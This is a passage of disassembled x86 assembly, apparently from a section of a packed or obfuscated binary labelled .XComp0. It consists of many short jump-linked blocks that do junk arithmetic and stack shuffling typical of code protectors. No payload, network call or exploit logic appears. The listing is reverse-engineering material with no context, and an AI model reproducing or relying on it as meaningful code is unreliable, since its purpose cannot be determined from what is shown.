		add	ebp, 65410EFEh
		xor	ebp, 0AFC47366h
		sub	ecx, ebp
		pop	ebp
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_589E1E
; ---------------------------------------------------------------------------


loc_58C700:				; CODE XREF: .XComp0:0059561Aj
		add	ecx, 72C44D94h
		pop	esi
		sub	esi, ecx
		pop	ecx
		jmp	loc_5985DB
; ---------------------------------------------------------------------------


loc_58C70F:				; CODE XREF: .XComp0:00593E16j
		add	esp, 4
		shl	esi, 7
		xor	esi, 7D2A4E39h
		or	esi, 51CE22B2h
		inc	esi
		jmp	loc_586771
; ---------------------------------------------------------------------------


loc_58C72A:				; CODE XREF: .XComp0:005844E3j
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_58E6F3
; ---------------------------------------------------------------------------


loc_58C736:				; CODE XREF: .XComp0:005906A0j
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_584B81
; ---------------------------------------------------------------------------


loc_58C741:				; CODE XREF: .XComp0:00592D83j
		push	5ABDh
		mov	[esp], ecx
		jmp	loc_58C9A8
; ---------------------------------------------------------------------------


loc_58C74E:				; CODE XREF: .XComp0:00591398j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	edi, 2678500Eh
		add	edi, esi
		add	edi, 2678500Eh
		jmp	loc_58A951
; ---------------------------------------------------------------------------


loc_58C768:				; CODE XREF: .XComp0:0058F00Bj
		mov	[esp], eax
		push	ebx
		mov	bl, 0D5h
		push	ecx
		mov	ch, bl
		mov	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	ebx
		jmp	loc_597FAC
; ---------------------------------------------------------------------------


loc_58C783:				; CODE XREF: .XComp0:00596136j
		add	ebp, 4
		jmp	loc_58C49E
; ---------------------------------------------------------------------------


loc_58C78E:				; CODE XREF: .XComp0:00587FAAj
		push	esi
		push	ebp
		mov	ebp, 74531E20h
		shl	ebp, 3
		sub	ebp, 0A298F0FCh
		mov	esi, ebp
		pop	ebp
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_59141D
; ---------------------------------------------------------------------------


loc_58C7B4:				; CODE XREF: .XComp0:00597C62j
		pop	ebx
		jmp	loc_58741D
; ---------------------------------------------------------------------------


loc_58C7BA:				; CODE XREF: .XComp0:00590AC4j
		mov	si, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_5928A8
; ---------------------------------------------------------------------------


loc_58C7C9:				; CODE XREF: .XComp0:00586AE7j
		add	cl, bl
		sub	cl, 0D6h
		pop	ebx
		xor	cl, 0Dh
		add	bl, cl
		pop	ecx
		and	bl, 7Bh
		push	ecx
		mov	cl, 92h
		push	eax
		mov	al, 0E9h
		or	cl, al
		pop	eax
		inc	cl
		sub	cl, 67h
		and	cl, 86h
		jmp	loc_58FB36
; ---------------------------------------------------------------------------


loc_58C7EE:				; CODE XREF: .XComp0:0058B7CFj
		add	ebx, eax
		sub	ebx, 5BE959D4h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	ebp
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_58EA00
; ---------------------------------------------------------------------------


loc_58C80C:				; CODE XREF: .XComp0:00591A1Bj
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58C811:				; CODE XREF: .XComp0:00592A91j
		sub	ecx, 0D0D8F798h
		push	eax
		push	ebp
		push	731F4DD6h
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 17DB69E9h
		jmp	loc_595717
; ---------------------------------------------------------------------------


loc_58C832:				; CODE XREF: .XComp0:0058D99Aj
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5942CA
; ---------------------------------------------------------------------------


loc_58C843:				; CODE XREF: .XComp0:005894A3j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598330
; ---------------------------------------------------------------------------


loc_58C853:				; CODE XREF: .XComp0:0058EBC4j
		push	cx
		push	eax
		push	ebx
		mov	bl, 0DEh
		jmp	loc_5893A2
; ---------------------------------------------------------------------------


loc_58C85E:				; CODE XREF: .XComp0:00587E16j
		mov	[esp], ecx
		mov	ecx, 4ECC48E9h
		inc	ecx
		sub	ecx, 0FFFFFFFFh
		and	ecx, 35D5156Dh
		shr	ecx, 3
		push	edx
		mov	edx, 2F82D4Ch
		sub	edx, 43B9CCA3h
		sub	ecx, edx
		pop	edx
		sub	edi, 20B97CF2h
		jmp	loc_58FF27
; ---------------------------------------------------------------------------


loc_58C88D:				; CODE XREF: .XComp0:0058A44Cj
		add	eax, 0F621E7Ch
		sub	eax, 54C57887h
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	ebp
		push	77186588h
		pop	ebp
		neg	ebp
		jmp	loc_58E2EE
; ---------------------------------------------------------------------------


loc_58C8AF:				; CODE XREF: .XComp0:005887EDj
		mov	eax, [esp]
		jmp	loc_5955C2
; ---------------------------------------------------------------------------


loc_58C8B7:				; CODE XREF: .XComp0:00591C9Aj
		mov	[esp], ebx
		mov	ebx, 0ED5F8AC2h
		add	edx, ebx
		pop	ebx
		add	esi, edx
		jmp	loc_58B5F5
; ---------------------------------------------------------------------------


loc_58C8C9:				; CODE XREF: .XComp0:00596089j
		mov	ecx, edx
		jmp	loc_594B3C
; ---------------------------------------------------------------------------


loc_58C8D0:				; CODE XREF: .XComp0:0058E099j
		inc	ebx
		add	ebx, 0F4194191h
		add	ecx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5901F7
; ---------------------------------------------------------------------------


loc_58C8FB:				; CODE XREF: .XComp0:0058A01Aj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 37310036h
		shl	edi, 8
		jmp	loc_592C06
; ---------------------------------------------------------------------------


loc_58C91F:				; CODE XREF: .XComp0:005916C6j
		push	ecx
		mov	cl, 34h
		mov	bh, cl
		pop	ecx
		sub	bh, 91h
		xor	dl, bh
		pop	ebx
		sub	bl, dl
		pop	edx
		add	bl, 0D6h
		sub	bl, al
		push	cx
		mov	cl, 0D6h
		sub	bl, 49h
		sub	bl, cl
		jmp	loc_58E55B
; ---------------------------------------------------------------------------


loc_58C941:				; CODE XREF: .XComp0:00594F03j
		mov	[esp], ebx
		push	edx
		jmp	loc_5979DE
; ---------------------------------------------------------------------------


loc_58C94A:				; CODE XREF: .XComp0:00587589j
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_590CB8
; ---------------------------------------------------------------------------


loc_58C95B:				; CODE XREF: .XComp0:00594827j
		sub	ebx, 0F641941h
		xor	ebx, 0E61D9A10h
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5893E9
; ---------------------------------------------------------------------------


loc_58C975:				; CODE XREF: .XComp0:00589C23j
		add	ebp, eax
		sub	ebp, 0B467AFFh
		jmp	loc_58536A
; ---------------------------------------------------------------------------


loc_58C982:				; CODE XREF: .XComp0:005876B4j
		or	edx, eax
		shl	edx, 1
		jmp	loc_598773
; ---------------------------------------------------------------------------


loc_58C98B:				; CODE XREF: .XComp0:00596656j
		push	ebx
		pop	ecx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_5900DC
; ---------------------------------------------------------------------------


loc_58C99D:				; CODE XREF: .XComp0:005962DDj
		or	ecx, 5ABC6EF7h
		jmp	loc_592BF1
; ---------------------------------------------------------------------------


loc_58C9A8:				; CODE XREF: .XComp0:0058C749j
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_5903DD
; ---------------------------------------------------------------------------


loc_58C9B6:				; CODE XREF: .XComp0:00593E43j
		shl	ebp, 8
		jmp	loc_590BE7
; ---------------------------------------------------------------------------


loc_58C9BE:				; CODE XREF: .XComp0:005967CBj
		pop	esp
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	3D72h
		mov	[esp], edi
		push	esp
		jmp	loc_5883A3
; ---------------------------------------------------------------------------


loc_58C9D3:				; CODE XREF: .XComp0:00585E61j
		or	edi, 32E620CCh
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ebp
		jmp	loc_5891FC
; ---------------------------------------------------------------------------


loc_58C9E4:				; CODE XREF: .XComp0:00591B5Cj
		xor	ebp, 7FB0664Dh
		shr	ebp, 4
		sub	ebp, 0BF78DA47h
		add	eax, ebp
		pop	ebp
		pop	esi
		jmp	loc_585D0A
; ---------------------------------------------------------------------------


loc_58C9FC:				; CODE XREF: .XComp0:00588982j
		shl	cl, 4
		push	edx
		mov	dl, 0DCh
		sub	dl, 6
		add	cl, dl
		pop	edx
		inc	cl
		shr	cl, 1
		neg	cl
		add	cl, 82h
		push	edx
		push	cx
		jmp	loc_583F2E
; ---------------------------------------------------------------------------


loc_58CA19:				; CODE XREF: .XComp0:00589CD7j
		neg	eax
		jmp	loc_58DFBB
; ---------------------------------------------------------------------------


loc_58CA20:				; CODE XREF: .XComp0:0058F60Bj
		mov	edx, ebx
		jmp	loc_58AFE5
; ---------------------------------------------------------------------------


loc_58CA27:				; CODE XREF: .XComp0:005869EDj
		pop	esi
		push	5D42h
		mov	[esp], eax
		jmp	loc_590671
; ---------------------------------------------------------------------------


loc_58CA35:				; CODE XREF: .XComp0:0059883Fj
		xor	esi, edi
		pop	edi
		jmp	loc_597EC1
; ---------------------------------------------------------------------------


loc_58CA3D:				; CODE XREF: .XComp0:00585EDEj
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_594275
; ---------------------------------------------------------------------------


loc_58CA47:				; CODE XREF: .XComp0:00587869j
		push	48F6106Ch
		pop	ebx
		not	ebx
		and	ebx, 61BB12C9h
		not	ebx
		add	ebx, 6BE3455Ah
		mov	[edi+24h], ebx
		mov	ebx, [esp]
		jmp	loc_590D27
; ---------------------------------------------------------------------------


loc_58CA68:				; CODE XREF: .XComp0:0058933Cj
		mov	ebp, edx
		pop	edx
		pop	eax
		pop	ebx
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		jmp	loc_587C58
; ---------------------------------------------------------------------------


loc_58CA8C:				; CODE XREF: .XComp0:0058EF56j
		not	eax
		shl	eax, 2
		add	eax, 0E554086Ah
		jmp	loc_585916
; ---------------------------------------------------------------------------


loc_58CA9B:				; CODE XREF: .XComp0:00593D4Cj
		xor	ebp, ecx
		pop	ecx
		sub	ebx, 54690CD4h
		add	ebx, ebp
		push	eax
		push	1E204C62h
		pop	eax
		jmp	loc_597C9C
; ---------------------------------------------------------------------------


loc_58CAB2:				; CODE XREF: .XComp0:005915FAj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_58E69B
; ---------------------------------------------------------------------------


loc_58CAC1:				; CODE XREF: .XComp0:0058CF47j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 7
		push	3F72h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	4EA2h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_585683
; ---------------------------------------------------------------------------


loc_58CB02:				; CODE XREF: .XComp0:0058A361j
		push	eax
		push	edx
		push	ebx
		mov	bl, 8Ah
		mov	dh, bl
		pop	ebx
		push	ecx
		mov	cl, dh
		mov	ah, cl
		pop	ecx
		pop	edx
		mov	dl, ah
		mov	eax, [esp]
		jmp	loc_58FD72
; ---------------------------------------------------------------------------


loc_58CB1B:				; CODE XREF: .XComp0:0058A17Ej
		push	4
		pop	edx
		push	ecx
		jmp	loc_587D9F
; ---------------------------------------------------------------------------


loc_58CB27:				; CODE XREF: .XComp0:0059042Ej
		mov	[esp], ecx
		push	7048h
		jmp	loc_5919D7
; ---------------------------------------------------------------------------


loc_58CB34:				; CODE XREF: .XComp0:0058AFE0j
		mov	[esp], ebx
		push	edi
		push	48927CC0h
		pop	edi
		or	edi, 40023A02h
		xor	edi, 2F835352h
		and	edi, 9E353CFh
		push	esi
		mov	esi, 29AE0C58h
		xor	esi, 2E3928B4h
		inc	esi
		sub	esi, 290BFF2h
		xor	edi, esi
		pop	esi
		mov	ebx, edi
		pop	edi
		not	ebx
		neg	ebx
		or	ebx, 58047D3Fh
		jmp	loc_590B89
; ---------------------------------------------------------------------------


loc_58CB78:				; CODE XREF: .XComp0:00589440j
		push	ebx
		jmp	loc_58A6B6
; ---------------------------------------------------------------------------


loc_58CB7E:				; CODE XREF: .XComp0:00595B0Fj
		add	eax, 0F3F4DFC7h
		mov	edx, eax
		pop	eax
		push	eax
		mov	eax, 1AB4678Ch
		shl	eax, 3
		not	eax
		jmp	loc_5970AF
; ---------------------------------------------------------------------------


loc_58CB96:				; CODE XREF: .XComp0:00596369j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_589056
; ---------------------------------------------------------------------------


loc_58CBBA:				; CODE XREF: .XComp0:0059423Aj
		add	esp, 4
		push	ebx
		mov	ebx, 2A721C55h
		jmp	loc_585781
; ---------------------------------------------------------------------------


loc_58CBC8:				; CODE XREF: .XComp0:00588F48j
		mov	ecx, 72781F91h
		xor	ecx, eax
		pop	eax
		mov	edi, ecx
		jmp	loc_590D3B
; ---------------------------------------------------------------------------


loc_58CBD7:				; CODE XREF: .XComp0:0058DC56j
		add	cx, 46C8h
		pop	edx
		xor	ax, cx
		mov	ecx, [esp]
		push	edi
		jmp	loc_583E3C
; ---------------------------------------------------------------------------


loc_58CBE9:				; CODE XREF: .XComp0:005934D1j
		sub	ebx, 4951252h
		add	ebx, 0A7CBC14Ch
		jmp	loc_5970A0
; ---------------------------------------------------------------------------


loc_58CBFA:				; CODE XREF: .XComp0:00590A4Dj
		mov	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 70BC190Fh
		jmp	loc_598844
; ---------------------------------------------------------------------------


loc_58CC23:				; CODE XREF: .XComp0:0058B3E9j
		xor	ax, dx
		mov	dx, [esp]
		add	esp, 2
		sub	bx, 1B58h
		sub	bx, 7683h
		sub	bx, ax
		add	bx, 7683h
		jmp	loc_584045
; ---------------------------------------------------------------------------


loc_58CC44:				; CODE XREF: .XComp0:005928B4j
		pop	esi
		shl	edx, 7
		add	edx, 0FFFFFFFFh
		sub	edx, 5FA8C87Bh
		jmp	loc_58561D
; ---------------------------------------------------------------------------


loc_58CC59:				; CODE XREF: .XComp0:0058BAFBj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58CEB8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_58548D
; ---------------------------------------------------------------------------


loc_58CC95:				; CODE XREF: .XComp0:00588A60j
		sub	esi, 6B535AD1h
		push	eax
		jmp	loc_59575F
; ---------------------------------------------------------------------------


loc_58CCA1:				; CODE XREF: .XComp0:0058F8CDj
		push	esp
		mov	eax, [esp]
		jmp	loc_593A86
; ---------------------------------------------------------------------------


loc_58CCAA:				; CODE XREF: .XComp0:0059408Fj
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		add	ebx, 6FE21796h
		sub	ebx, ecx
		sub	ebx, 6FE21796h
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	0C2Eh
		jmp	loc_590AC9
; ---------------------------------------------------------------------------


loc_58CCE4:				; CODE XREF: .XComp0:0059485Aj
		add	ebx, esi
		pop	esi
		push	eax
		push	719005A8h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 719005A4h
		jmp	loc_590C8A
; ---------------------------------------------------------------------------


loc_58CD00:				; CODE XREF: .XComp0:0058B332j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58CD05:				; CODE XREF: .XComp0:0058AFD2j
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_591BE0
		push	edi
		push	67DDh
		mov	[esp], esp
		push	ecx
		jmp	loc_592A6E
; ---------------------------------------------------------------------------


loc_58CD20:				; CODE XREF: .XComp0:00589AF6j
		xor	edi, [esp]
		jmp	loc_59057B
; ---------------------------------------------------------------------------


loc_58CD28:				; CODE XREF: .XComp0:00586413j
		xor	edx, 7E45911h
		push	2469h
		jmp	loc_587297
; ---------------------------------------------------------------------------


loc_58CD38:				; CODE XREF: .XComp0:005891C5j
		pop	eax
		shl	ch, 4
		shl	ch, 1
		push	edx
		mov	dh, 78h
		xor	ch, dh
		pop	edx
		or	bh, ch
		pop	ecx
		sub	bh, 66h
		mov	dh, bh
		pop	ebx
		jmp	loc_5914F7
; ---------------------------------------------------------------------------


loc_58CD52:				; CODE XREF: .XComp0:00590DDDj
		pop	esi
		jmp	loc_584C5B
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	small 27Bh
		jmp	loc_592D54
; ---------------------------------------------------------------------------


loc_58CD65:				; CODE XREF: .XComp0:00593730j
		inc	esi
		dec	esi
		jmp	loc_58715C
; ---------------------------------------------------------------------------


loc_58CD6C:				; CODE XREF: .XComp0:0058B5A1j
		push	5DE3h
		mov	[esp], edx
		mov	dl, 15h
		neg	dl
		neg	dl
		shl	dl, 1
		push	69FDh
		jmp	loc_58897D
; ---------------------------------------------------------------------------


loc_58CD86:				; CODE XREF: .XComp0:0058EC2Bj
		push	4A25h
		mov	[esp], ecx
		mov	ecx, 1
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_589F1D
; ---------------------------------------------------------------------------


loc_58CD9D:				; CODE XREF: .XComp0:0058BD2Aj
		push	71052592h
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_59819B
; ---------------------------------------------------------------------------


loc_58CDAD:				; CODE XREF: .XComp0:0058F6B6j
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0ACh
		push	ecx
		mov	cl, 97h
		jmp	loc_58BE64
; ---------------------------------------------------------------------------


loc_58CDBD:				; CODE XREF: .XComp0:00587349j
		push	edx
		jmp	loc_591DC6
; ---------------------------------------------------------------------------


loc_58CDC3:				; CODE XREF: .XComp0:00589367j
		add	esi, ebp
		sub	esi, 45EA6395h
		add	esi, 64BD0BB1h
		pop	ebp
		sub	esi, 2
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ax
		push	small word ptr [esp+2]
		mov	ax, [esp]
		jmp	loc_5930C0
; ---------------------------------------------------------------------------


loc_58CDEE:				; CODE XREF: .XComp0:005910A3j
		mov	di, 954Ch
		add	bp, di
		jmp	loc_59886B
; ---------------------------------------------------------------------------


loc_58CDFA:				; CODE XREF: .XComp0:0058E20Fj
		pop	edi
		push	7E26h
		mov	[esp], ebx
		push	esi
		mov	esi, 2F02358Ah
		jmp	loc_5898D3
; ---------------------------------------------------------------------------


loc_58CE0E:				; CODE XREF: .XComp0:005989F8j
		or	esi, 3E116022h
		neg	esi
		xor	esi, 133DE885h
		jmp	loc_58D393
; ---------------------------------------------------------------------------


loc_58CE21:				; CODE XREF: .XComp0:0058FE93j
		sub	dword ptr [esp+8], 7FDF121Dh
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_593052
; ---------------------------------------------------------------------------


loc_58CE46:				; CODE XREF: .XComp0:0058C4E3j
		push	esp
		jmp	loc_5910FB
; ---------------------------------------------------------------------------


loc_58CE4C:				; CODE XREF: .XComp0:00586F7Ej
		xchg	eax, ebx
		shr	ebx, 2
		jmp	loc_594E0C
; ---------------------------------------------------------------------------


loc_58CE55:				; CODE XREF: .XComp0:00598531j
		xor	ebp, 4AE811B8h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_589C5E
; ---------------------------------------------------------------------------


loc_58CE63:				; CODE XREF: .XComp0:0058D58Cj
		mov	dh, 0C0h
		mov	ah, 0D6h
		jmp	loc_58A1C9
; ---------------------------------------------------------------------------


loc_58CE6C:				; CODE XREF: .XComp0:0058F057j
		sub	[esp+8], ecx
		pop	ecx
		jmp	loc_58BF81
; ---------------------------------------------------------------------------


loc_58CE76:				; CODE XREF: .XComp0:00594A35j
		push	ecx
		mov	ecx, 2302C441h
		sub	ebp, ecx
		pop	ecx
		xor	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_594FE8
; ---------------------------------------------------------------------------


loc_58CE90:				; CODE XREF: .XComp0:00588ECFj
		not	dword ptr [esp]
		jmp	loc_596958
; ---------------------------------------------------------------------------


loc_58CE98:				; CODE XREF: .XComp0:0058F53Aj
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	edx
		jmp	loc_5959B9
; ---------------------------------------------------------------------------


loc_58CEA8:				; CODE XREF: .XComp0:00584C56j
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_59800C
; ---------------------------------------------------------------------------


loc_58CEB8:				; CODE XREF: .XComp0:0058CC60j
		pop	dword ptr [esp]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58CEC4:				; CODE XREF: .XComp0:0058B3D1j
		xor	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		jmp	loc_5913FD
; ---------------------------------------------------------------------------


loc_58CED8:				; CODE XREF: .XComp0:00594D2Ej
		and	edi, 67023EE5h
		add	edi, 0FFFFFFFFh
		neg	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 149F26A6h
		xor	ebx, 8AF0BCFh
		not	ebx
		sub	ebx, 43D1DC9Ah
		sub	edi, 49DB29DCh
		sub	edi, ebx
		jmp	loc_597CB2
; ---------------------------------------------------------------------------
		push	ebx
		mov	bh, ch
		mov	ch, [esp+4]
		mov	[esp+4], bh
		mov	ebx, [esp]
		add	esp, 4
		xchg	bh, ch
		push	dx
		mov	dl, ah
		mov	ah, bh
		push	ecx
		mov	ch, dl
		mov	bh, ch
		pop	ecx
		pop	dx
		not	ah
		xor	bh, ah
		xor	ah, bh
		xor	bh, ah
		jmp	loc_58A0C1
; ---------------------------------------------------------------------------


loc_58CF40:				; CODE XREF: .XComp0:005925D0j
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_58CAC1
; ---------------------------------------------------------------------------


loc_58CF4C:				; CODE XREF: .XComp0:0058FECEj
		push	68EE35D2h
		pop	edx
		dec	edx
		add	edx, 0FFFFFFFFh
		jmp	loc_596F44
; ---------------------------------------------------------------------------


loc_58CF5E:				; CODE XREF: .XComp0:0058F976j
		mov	eax, 3BDC12FFh
		sub	ecx, eax
		mov	eax, [esp]
		jmp	loc_594ECE
; ---------------------------------------------------------------------------


loc_58CF6D:				; CODE XREF: .XComp0:0058E629j
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5915FF
; ---------------------------------------------------------------------------


loc_58CF86:				; CODE XREF: .XComp0:00584DACj
		push	ax
		mov	al, 61h
		jmp	loc_585BBB
; ---------------------------------------------------------------------------


loc_58CF8F:				; CODE XREF: .XComp0:00598986j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		mov	esi, 5ECD13A3h
		and	esi, 59747DCCh
		jmp	loc_58439D
; ---------------------------------------------------------------------------


loc_58CFA8:				; CODE XREF: .XComp0:00594A58j
		mov	esi, [esp]
		add	esp, 4
		push	5130h
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_58A3E2
; ---------------------------------------------------------------------------


loc_58CFBD:				; CODE XREF: .XComp0:005872B4j
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		jmp	loc_5948D0
; ---------------------------------------------------------------------------


loc_58CFD1:				; CODE XREF: .XComp0:00596602j
		pop	esp
		sub	ecx, 21E629C0h
		jmp	loc_5861D0
; ---------------------------------------------------------------------------


loc_58CFDD:				; CODE XREF: .XComp0:0059540Ej
		pop	ebx
		add	eax, 4
		jmp	loc_58EA08
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_594164
; ---------------------------------------------------------------------------


loc_58CFEF:				; CODE XREF: .XComp0:00595F11j
		or	edi, 2D540272h
		xchg	ebx, edi
		jmp	loc_5864E5
; ---------------------------------------------------------------------------


loc_58CFFC:				; CODE XREF: .XComp0:00589423j
		mov	[esp], edx
		push	57D24518h
		pop	edx
		jmp	loc_58EBF5
; ---------------------------------------------------------------------------


loc_58D00A:				; CODE XREF: .XComp0:0058A0E1j
		pop	eax
		mov	dh, bh
		pop	ebx
		sub	esp, 4
		jmp	loc_597F12
; ---------------------------------------------------------------------------


loc_58D016:				; CODE XREF: .XComp0:00592D58j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58D01B:				; CODE XREF: .XComp0:005905F4j
		add	esi, eax
		jmp	loc_58A5CA
; ---------------------------------------------------------------------------


loc_58D022:				; CODE XREF: .XComp0:00584E1Bj
		mov	[esp], edx
		jmp	loc_58547E
; ---------------------------------------------------------------------------


loc_58D02A:				; CODE XREF: .XComp0:005851D3j
		mov	ebp, esp
		jmp	loc_595E02
; ---------------------------------------------------------------------------


loc_58D031:				; CODE XREF: .XComp0:00593351j
		pop	eax
		push	edx
		push	1
		push	dword ptr [esp]
		jmp	loc_5859F0
; ---------------------------------------------------------------------------


loc_58D040:				; CODE XREF: .XComp0:00583E24j
		xor	ebp, eax
		pop	eax
		push	esi
		push	ebp
		mov	ebp, 317E5283h
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_598A81
; ---------------------------------------------------------------------------


loc_58D054:				; CODE XREF: .XComp0:00591627j
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_59793C
; ---------------------------------------------------------------------------


loc_58D05D:				; CODE XREF: .XComp0:00585141j
		sub	eax, 2D1B18B0h
		sub	eax, ebp
		jmp	loc_5874DA
; ---------------------------------------------------------------------------


loc_58D069:				; CODE XREF: .XComp0:0058D2E5j
		push	dword ptr [esp]
		jmp	loc_586BFE
; ---------------------------------------------------------------------------


loc_58D071:				; CODE XREF: .XComp0:00584577j
		pop	edx
		xchg	eax, [esp]
		jmp	loc_595BCB
; ---------------------------------------------------------------------------


loc_58D07A:				; CODE XREF: .XComp0:00591CF7j
		mov	edi, 0AF18DC06h
		add	ebx, edi
		pop	edi
		xor	ebp, ebx
		jmp	loc_592775
; ---------------------------------------------------------------------------


loc_58D089:				; CODE XREF: .XComp0:0059103Dj
		push	edi
		mov	edi, 194471EAh
		sub	ecx, edi
		pop	edi
		sub	ecx, 2597178Fh
		jmp	loc_585D9B
; ---------------------------------------------------------------------------


loc_58D09D:				; CODE XREF: .XComp0:005918F4j
		dec	eax
		shr	eax, 5
		add	eax, 0FDF58FA2h
		add	ebp, eax
		pop	eax
		jmp	loc_585934
; ---------------------------------------------------------------------------


loc_58D0AE:				; CODE XREF: .XComp0:0059310Cj
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_586E40
; ---------------------------------------------------------------------------


loc_58D0C5:				; CODE XREF: .XComp0:0058EFB1j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_58AB04
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_58D0E0:				; CODE XREF: .XComp0:00594EF8j
		push	esp
		pop	ebx
		jmp	loc_5845B8
; ---------------------------------------------------------------------------


loc_58D0E7:				; CODE XREF: .XComp0:00588275j
		add	al, 28h
		add	al, cl
		jmp	loc_58E206
; ---------------------------------------------------------------------------


loc_58D0F0:				; CODE XREF: .XComp0:00594806j
		sub	al, dh
		sub	al, 90h
		jmp	loc_592805
; ---------------------------------------------------------------------------


loc_58D0F9:				; CODE XREF: .XComp0:00590DD2j
		push	5454h
		mov	[esp], eax
		push	0CA5h
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 5E9F02B3h
		jmp	loc_58F9A7
; ---------------------------------------------------------------------------


loc_58D11F:				; CODE XREF: .XComp0:00594F81j
		pop	esp
		push	edi
		jmp	loc_58DA2D
; ---------------------------------------------------------------------------


loc_58D126:				; CODE XREF: .XComp0:00586F0Bj
		mov	[esp], ebx
		jmp	loc_58B681
; ---------------------------------------------------------------------------


loc_58D12E:				; CODE XREF: .XComp0:00590274j
		xor	edx, 1B1D604Ch
		neg	edx
		xor	edx, 0B487BC2Bh
		or	edi, edx
		pop	edx
		not	edi
		add	edi, 1E8A1D5Bh
		and	ebx, edi
		pop	edi
		jmp	loc_5895C3
